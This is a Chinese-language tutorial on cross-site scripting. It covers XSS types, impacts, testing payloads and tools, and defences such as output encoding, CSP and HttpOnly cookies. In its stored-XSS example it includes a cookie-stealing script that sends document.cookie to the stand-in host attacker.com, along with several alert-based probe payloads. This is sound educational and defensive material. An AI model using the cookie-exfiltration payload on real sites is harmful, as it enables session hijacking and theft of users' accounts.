跨站脚本攻击(Cross-Site Scripting, 简称 XSS) 是指攻击者将恶意脚本注入到网页中,当其他用户浏览时,脚本在受害者的浏览器中被执行,从而达到窃取数据、劫持会话、冒充用户等目的的一种客户端攻击方式。
XSS 属于 前端 Web 安全中的典型漏洞,已被列入 OWASP Top 10 高危漏洞之一。
XSS 漏洞的根本原因在于:
用户提供的数据未经过适当的过滤或转义就被嵌入到网页内容中返回给用户,最终在浏览器中以代码而非数据形式执行。
当应用程序接受用户输入并将其嵌入 HTML 中,而没有对输入内容进行安全处理,就可能触发 XSS。
| 类型 | 描述 | 攻击特征 |
|---|---|---|
| 存储型(Stored XSS) | 恶意脚本被存入数据库或服务器,其他用户访问时触发 | 例如:留言板、评论系统 |
| 反射型(Reflected XSS) | 恶意脚本作为请求参数,服务器原样返回并在页面中执行 | 例如:搜索框、URL 中参数 |
| DOM 型(DOM-based XSS) | 恶意数据不经服务器,直接在前端 DOM 中处理导致执行 | 例如:location.hash、innerHTML 渲染 |
| 混合型(Hybrid XSS) | 结合 DOM 与服务端处理,逻辑复杂 | 需要多个组件共同触发 |
<script> 标签)<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>
其他用户浏览该页面时即执行,攻击者获取受害者 Cookie。
请求链接:
https://example.com/search?q=<script>alert(1)</script>
后端响应直接回显未过滤的参数:
搜索结果:<script>alert(1)</script>
HTML 代码:
<div id="output"></div>
<script>
document.getElementById("output").innerHTML = location.hash.substring(1);
</script>
访问链接:
https://example.com/page.html#<img src=x onerror=alert(1)>
结果:DOM 中注入 <img> 并触发 onerror 执行脚本。
| 威胁类型 | 描述 |
|---|---|
| 会话劫持 | 窃取 Cookie(如 document.cookie),冒充用户身份 |
| 钓鱼攻击 | 伪造页面内容,引导用户输入敏感信息 |
| 页面篡改 | 插入假按钮、广告、恶意跳转链接 |
| 蠕虫传播 | 利用 XSS 自动化传播 Payload |
| 后续渗透 | 可配合 CSRF、CSP 绕过、内网扫描等漏洞进行复合攻击 |
尝试输入常见 Payload,如:
<script>alert(1)</script>
"><script>alert(1)</script>
<img src=x onerror=alert(1)>
尝试注入在 URL、表单、评论、请求头等位置
| 工具 | 描述 |
|---|---|
| Burp Suite | 拦截请求、爆破 XSS payload、观察响应 |
| XSSer | 自动化 XSS 测试框架(支持多类型) |
| XSStrike | 快速检测并 fuzz XSS 漏洞 |
| ZAP Proxy | OWASP 提供的开源扫描器 |
| Nikto, Arachni, Wapiti | 集成 XSS 检测功能的 Web 扫描器 |
| 安全实践 | 说明 |
|---|---|
| ✅ 输出编码(Escaping) | 使用 HTML、JS、URL 编码确保数据被视为数据而非脚本 |
| ✅ 输入校验(Validation) | 使用白名单规则限制输入内容 |
| ✅ HttpOnly Cookie | 设置 Cookie 为 HttpOnly,防止被 JS 读取 |
| ✅ CSP(内容安全策略) | 通过 HTTP 头控制允许加载/执行的脚本来源 |
| ✅ DOM 安全编程 | 避免使用 innerHTML、document.write,改用 textContent 等 |
| ✅ 使用框架防护 | React、Vue 等前端框架默认有输出转义机制 |
| ✅ WAF/过滤器 | 使用 Web 应用防火墙过滤常见恶意输入 |
📝 作者:ahlien 📧 邮箱:mfs24@mails.tsinghua.edu.cn
🏫 单位:Tsinghua University
📅 最后更新时间:2025-07-27